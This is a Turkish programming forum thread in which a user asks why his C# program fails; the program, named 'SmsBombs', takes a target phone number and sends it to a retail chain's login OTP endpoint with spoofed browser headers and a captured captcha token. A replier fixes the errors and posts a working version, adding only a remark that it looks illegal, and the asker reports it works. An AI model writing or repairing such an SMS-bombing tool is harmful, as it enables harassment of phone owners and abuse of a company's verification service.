C# Kodu neden çalışmıyor?

Qwains

Hectopat
Katılım
23 Ekim 2021
Mesajlar
551
Makaleler
1
Çözümler
2
Yer
Turkey
Daha fazla  
Cinsiyet
Erkek
1725572797391.png


C# ile ilgili her şey yüklü olmasına rağmen hala bu hatayı veriyor, isteyene kodu atarım.

Console. Writeline("selam Technopat");
Yazsam bile aynı hatayı alıyorum bir yardımcı olabilir misiniz?
 

Dosya Ekleri

  • 1725572760123.png
    1725572760123.png
    6,3 KB · Görüntüleme: 56
Son düzenleme:
Eki Görüntüle 2303862

C# ile ilgili her şey yüklü olmasına rağmen hala bu hatayı veriyor, isteyene kodu atarım.

Console. Writeline("selam Technopat");
Yazsam bile aynı hatayı alıyorum bir yardımcı olabilir misiniz?
Hangi IDE yi kullanıyorsun? Vsc gibi gözüküyor. Vs2019 veya vs2022 kullanman daha iyi olur. Çünkü .NET için en iyi geliştirme ortamı direk vs dir.
 
Özel değil hocam atayım.

C#:
using System;
using System.Collection.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;

namespace SmsBombs
{
    internal class Program
    {
        static void Main(string[] args)
        {
            Console.Write("Telefon Numarası: ");
            string HedefNumara = Console.Readline();

            var Bir = Migros(HedefNumara);

            Console.Read();
        }
        {
            public static async Task Migros(string Numara)
        {
            var handler = new HttpClientHandler();
            handler.UseCookies = false;


            handler.AutomaticDecompression = ~DecompressionMethods.None;


            using (var httpClient = new HttpClient(handler))
            {
                using (var request = new HttpRequestMessage(new HttpMethod("POST"), "https://www.migros.com.tr/rest/user-edge/auth/login/otp?reid=1725566349489000001"))
                {
                    request.Headers.TryAddWithoutValidation("Host", "www.migros.com.tr");
                    request.Headers.TryAddWithoutValidation("sec-ch-ua", "\"Chromium\";v=\"128\", \"Not;A=Brand\";v=\"24\", \"Google Chrome\";v=\"128\"");
                    request.Headers.TryAddWithoutValidation("x-pwa", "true");
                    request.Headers.TryAddWithoutValidation("accept-language", "tr");
                    request.Headers.TryAddWithoutValidation("sec-ch-ua-mobile", "?0");
                    request.Headers.TryAddWithoutValidation("user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36");
                    request.Headers.TryAddWithoutValidation("accept", "application/json");
                    request.Headers.TryAddWithoutValidation("x-forwarded-rest", "true");
                    request.Headers.TryAddWithoutValidation("x-device-pwa", "true");
                    request.Headers.TryAddWithoutValidation("x-cf-captcha-token", "0.1XxS4zo3_zOfxeradS6bR_K6IKqwFAPAfIKrREhflmFRybrr9gUmeK72WATQlYSWLESkBC-iPFTvfzOhZA3lRdhq0J3jt58GXsEf1mJMu1I-rWYadk9Yxe5S8oyLTbtOltnKo8bh8bDcFEkG1x3Of3SePEpaqMcqRhc--UPT_BycUQbO4W2agkM_GzEQerH937ATkcZp-MDhDNtwdusP6LUUvD4WSqBiIROlO3nNIN6gW79m52JLeDdb2NAgQzy2IJRXLVAgIrZPqAfTQmA48xlvqMzcN8oTTt-6Re6DwZwLDiZ8IjniOiRuXb51weT6uEb9kUVkgPz98I8rtdvujcw7Aquncektn1uHMQ_mB2HqaGzDeUXRJNhHOq6Zi9FSYN3roDz7v1Lmzz0cu0I6BQhnafVCPyaNB5ZuFsALtPgTwaawdQBAgaOlWvDBcJzO.pKubLG3EITK4mEnqzVlZZw.68481ef6716e8c9a0a9b47670ac273e4333898d043658b20a85e0cc6d7883960");
                    request.Headers.TryAddWithoutValidation("sec-ch-ua-platform", "\"Windows\"");
                    request.Headers.TryAddWithoutValidation("origin", "https://www.migros.com.tr");
                    request.Headers.TryAddWithoutValidation("sec-fetch-site", "same-origin");
                    request.Headers.TryAddWithoutValidation("sec-fetch-mode", "cors");
                    request.Headers.TryAddWithoutValidation("sec-fetch-dest", "empty");
                    request.Headers.TryAddWithoutValidation("referer", "https://www.migros.com.tr/giris");
                    request.Headers.TryAddWithoutValidation("priority", "u=1, i");

                    request.Content = new StringContent("{\"phoneNumber\":\""" + Numara + "\"}");
                    request.Content.Headers.ContentType = new MediaTypeHeaderValue("application/json");

                    var response = await httpClient.SendAsync(request);
                }
            }
        }
    }
}
 
Son düzenleme:
Özel değil hocam atayım.

C#:
using System;
using System.Collection.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;

namespace SmsBombs
{
 internal class Program
 {
 static void Main(string[] args)
 {
 Console.Write("Telefon Numarası: ");
 string HedefNumara = Console.Readline();

 var Bir = Migros(HedefNumara);

 Console.Read();
 }
 {
 public static async Task Migros(string Numara)
 {
 var handler = new HttpClientHandler();
 handler.UseCookies = false;

 handler.AutomaticDecompression = ~DecompressionMethods.None;

 using (var httpClient = new HttpClient(handler))
 {
 using (var request = new HttpRequestMessage(new HttpMethod("POST"), "https://www.migros.com.tr/rest/user-edge/auth/login/otp?reid=1725566349489000001"))
 {
 request.Headers.TryAddWithoutValidation("Host", "www.migros.com.tr");
 request.Headers.TryAddWithoutValidation("sec-ch-ua", "\"Chromium\";v=\"128\", \"Not;A=Brand\";v=\"24\", \"Google Chrome\";v=\"128\"");
 request.Headers.TryAddWithoutValidation("x-pwa", "true");
 request.Headers.TryAddWithoutValidation("accept-language", "tr");
 request.Headers.TryAddWithoutValidation("sec-ch-ua-mobile", "?0");
 request.Headers.TryAddWithoutValidation("user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36");
 request.Headers.TryAddWithoutValidation("accept", "application/json");
 request.Headers.TryAddWithoutValidation("x-forwarded-rest", "true");
 request.Headers.TryAddWithoutValidation("x-device-pwa", "true");
 request.Headers.TryAddWithoutValidation("x-cf-captcha-token", "0.1XxS4zo3_zOfxeradS6bR_K6IKqwFAPAfIKrREhflmFRybrr9gUmeK72WATQlYSWLESkBC-iPFTvfzOhZA3lRdhq0J3jt58GXsEf1mJMu1I-rWYadk9Yxe5S8oyLTbtOltnKo8bh8bDcFEkG1x3Of3SePEpaqMcqRhc--UPT_BycUQbO4W2agkM_GzEQerH937ATkcZp-MDhDNtwdusP6LUUvD4WSqBiIROlO3nNIN6gW79m52JLeDdb2NAgQzy2IJRXLVAgIrZPqAfTQmA48xlvqMzcN8oTTt-6Re6DwZwLDiZ8IjniOiRuXb51weT6uEb9kUVkgPz98I8rtdvujcw7Aquncektn1uHMQ_mB2HqaGzDeUXRJNhHOq6Zi9FSYN3roDz7v1Lmzz0cu0I6BQhnafVCPyaNB5ZuFsALtPgTwaawdQBAgaOlWvDBcJzO.pKubLG3EITK4mEnqzVlZZw.68481ef6716e8c9a0a9b47670ac273e4333898d043658b20a85e0cc6d7883960");
 request.Headers.TryAddWithoutValidation("sec-ch-ua-platform", "\"Windows\"");
 request.Headers.TryAddWithoutValidation("origin", "https://www.migros.com.tr");
 request.Headers.TryAddWithoutValidation("sec-fetch-site", "same-origin");
 request.Headers.TryAddWithoutValidation("sec-fetch-mode", "cors");
 request.Headers.TryAddWithoutValidation("sec-fetch-dest", "empty");
 request.Headers.TryAddWithoutValidation("referer", "https://www.migros.com.tr/giris");
 request.Headers.TryAddWithoutValidation("priority", "u=1, i");

 request.Content = new StringContent("{\"phoneNumber\":\""" + Numara + "\"}");
 request.Content.Headers.ContentType = new MediaTypeHeaderValue("application/json");

 var response = await httpClient.SendAsync(request);
 }
 }
 }
 }
}

Kütüphanelerden "using System. Collection. Generic;" hatalı yazılmış Collections olarak değiştir ilk olarak.
2. olarak string HedefNumara = Console.Readline(); "L" büyük olucak
3. olarak request. Content = New StringContent("{\"phoneNumber\":\""" + Numara + "\"}"); kısmında tırnak hatası var
4. olarak method içine method eklemişsin, nasıl anlatayım. Kıvırcık parantez kullanımı hatalı diyelim. Event'ler ayrılmamış bu da derlemeyi etkiler
Doğru kod:

C#:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Net.Http;
using System.Net.Http.Headers;
using System.Net;

namespace SmsBombs
{
 internal class Program
 {
 static void Main(string[] args)
 {
 Console.Write("Telefon Numarası: ");
 string HedefNumara = Console.ReadLine();

 var Bir = Migros(HedefNumara);

 Console.Read();
 }

 public static async Task Migros(string Numara)
 {
 var handler = new HttpClientHandler();
 handler.UseCookies = false;
 handler.AutomaticDecompression = ~DecompressionMethods.None;

 using (var httpClient = new HttpClient(handler))
 {
 using (var request = new HttpRequestMessage(new HttpMethod("POST"), "https://www.migros.com.tr/rest/user-edge/auth/login/otp?reid=1725566349489000001"))
 {
 request.Headers.TryAddWithoutValidation("Host", "www.migros.com.tr");
 request.Headers.TryAddWithoutValidation("sec-ch-ua", "\"Chromium\";v=\"128\", \"Not;A=Brand\";v=\"24\", \"Google Chrome\";v=\"128\"");
 request.Headers.TryAddWithoutValidation("x-pwa", "true");
 request.Headers.TryAddWithoutValidation("accept-language", "tr");
 request.Headers.TryAddWithoutValidation("sec-ch-ua-mobile", "?0");
 request.Headers.TryAddWithoutValidation("user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36");
 request.Headers.TryAddWithoutValidation("accept", "application/json");
 request.Headers.TryAddWithoutValidation("x-forwarded-rest", "true");
 request.Headers.TryAddWithoutValidation("x-device-pwa", "true");
 request.Headers.TryAddWithoutValidation("x-cf-captcha-token", "0.1XxS4zo3_zOfxeradS6bR_K6IKqwFAPAfIKrREhflmFRybrr9gUmeK72WATQlYSWLESkBC-iPFTvfzOhZA3lRdhq0J3jt58GXsEf1mJMu1I-rWYadk9Yxe5S8oyLTbtOltnKo8bh8bDcFEkG1x3Of3SePEpaqMcqRhc--UPT_BycUQbO4W2agkM_GzEQerH937ATkcZp-MDhDNtwdusP6LUUvD4WSqBiIROlO3nNIN6gW79m52JLeDdb2NAgQzy2IJRXLVAgIrZPqAfTQmA48xlvqMzcN8oTTt-6Re6DwZwLDiZ8IjniOiRuXb51weT6uEb9kUVkgPz98I8rtdvujcw7Aquncektn1uHMQ_mB2HqaGzDeUXRJNhHOq6Zi9FSYN3roDz7v1Lmzz0cu0I6BQhnafVCPyaNB5ZuFsALtPgTwaawdQBAgaOlWvDBcJzO.pKubLG3EITK4mEnqzVlZZw.68481ef6716e8c9a0a9b47670ac273e4333898d043658b20a85e0cc6d7883960");
 request.Headers.TryAddWithoutValidation("sec-ch-ua-platform", "\"Windows\"");
 request.Headers.TryAddWithoutValidation("origin", "https://www.migros.com.tr");
 request.Headers.TryAddWithoutValidation("sec-fetch-site", "same-origin");
 request.Headers.TryAddWithoutValidation("sec-fetch-mode", "cors");
 request.Headers.TryAddWithoutValidation("sec-fetch-dest", "empty");
 request.Headers.TryAddWithoutValidation("referer", "https://www.migros.com.tr/giris");
 request.Headers.TryAddWithoutValidation("priority", "u=1, i");

 request.Content = new StringContent("{\"phoneNumber\":\"" + Numara + "\"}");
 request.Content.Headers.ContentType = new MediaTypeHeaderValue("application/json");

 var response = await httpClient.SendAsync(request);
 }
 }
 }
 }
}

NOT: YAZDIĞIN KOD LEGAL bir şeye BENZEMİYOR, YAPMAMANI KUVVETLE TAVSİYE EDERİM :)
 
Teşekkürler hocam deniyorum şimdi.😊

Kütüphanelerden "using System. Collection. Generic;" hatalı yazılmış collections olarak değiştir ilk olarak.
2. olarak string hedefnumara = Console.Readline(); "L" büyük olucak.
3. olarak request. Content = New StringContent("{\"phoneNumber\":\""" + numara + "\"}"); kısmında tırnak hatası var.
4. olarak method içine method eklemişsin, nasıl anlatayım. Kıvırcık parantez kullanımı hatalı diyelim. Event'ler ayrılmamış bu da derlemeyi etkiler.
Doğru kod:

C#:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Net.Http;
using System.Net.Http.Headers;
using System.Net;

namespace SmsBombs.
{
 internal class Program.
 {
 static void Main(string[] args)
 {
 Console.Write("Telefon Numarası: ");
 string HedefNumara = Console.ReadLine();

 var Bir = Migros(HedefNumara);

 Console.Read();
 }

 public static async Task Migros(string Numara)
 {
 var handler = new HttpClientHandler();
 handler.UseCookies = false;
 handler.AutomaticDecompression = ~DecompressionMethods.None;

 using (var httpClient = new HttpClient(handler))
 {
 using (var request = new HttpRequestMessage(new HttpMethod("POST"), "https://www.migros.com.tr/rest/user-edge/auth/login/otp?reid=1725566349489000001"))
 {
 request.Headers.TryAddWithoutValidation("Host", "www.migros.com.tr");
 request.Headers.TryAddWithoutValidation("sec-ch-ua", "\"Chromium\";v=\"128\", \"Not;A=Brand\";v=\"24\", \"Google Chrome\";v=\"128\"");
 request.Headers.TryAddWithoutValidation("x-pwa", "true");
 request.Headers.TryAddWithoutValidation("accept-language", "tr");
 request.Headers.TryAddWithoutValidation("sec-ch-ua-mobile", "?0");
 request.Headers.TryAddWithoutValidation("user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36");
 request.Headers.TryAddWithoutValidation("accept", "application/json");
 request.Headers.TryAddWithoutValidation("x-forwarded-rest", "true");
 request.Headers.TryAddWithoutValidation("x-device-pwa", "true");
 request.Headers.TryAddWithoutValidation("x-cf-captcha-token", "0.1XxS4zo3_zOfxeradS6bR_K6IKqwFAPAfIKrREhflmFRybrr9gUmeK72WATQlYSWLESkBC-iPFTvfzOhZA3lRdhq0J3jt58GXsEf1mJMu1I-rWYadk9Yxe5S8oyLTbtOltnKo8bh8bDcFEkG1x3Of3SePEpaqMcqRhc--UPT_BycUQbO4W2agkM_GzEQerH937ATkcZp-MDhDNtwdusP6LUUvD4WSqBiIROlO3nNIN6gW79m52JLeDdb2NAgQzy2IJRXLVAgIrZPqAfTQmA48xlvqMzcN8oTTt-6Re6DwZwLDiZ8IjniOiRuXb51weT6uEb9kUVkgPz98I8rtdvujcw7Aquncektn1uHMQ_mB2HqaGzDeUXRJNhHOq6Zi9FSYN3roDz7v1Lmzz0cu0I6BQhnafVCPyaNB5ZuFsALtPgTwaawdQBAgaOlWvDBcJzO.pKubLG3EITK4mEnqzVlZZw.68481ef6716e8c9a0a9b47670ac273e4333898d043658b20a85e0cc6d7883960");
 request.Headers.TryAddWithoutValidation("sec-ch-ua-platform", "\"Windows\"");
 request.Headers.TryAddWithoutValidation("origin", "https://www.migros.com.tr");
 request.Headers.TryAddWithoutValidation("sec-fetch-site", "same-origin");
 request.Headers.TryAddWithoutValidation("sec-fetch-mode", "cors");
 request.Headers.TryAddWithoutValidation("sec-fetch-dest", "empty");
 request.Headers.TryAddWithoutValidation("referer", "https://www.migros.com.tr/giris");
 request.Headers.TryAddWithoutValidation("priority", "u=1, i");

 request.Content = new StringContent("{\"phoneNumber\":\"" + Numara + "\"}");
 request.Content.Headers.ContentType = new MediaTypeHeaderValue("application/json");

 var response = await httpClient.SendAsync(request);
 }
 }
 }
 }
}

Not: Yazdığın kod legal bir şeye benzemiyor, yapmamanı kuvvetle tavsiye ederim :)

Çalıştı sağ olun tekrar iyi geceler dilerim.
 
Son düzenleme:

Technopat Haberler

Geri
Yukarı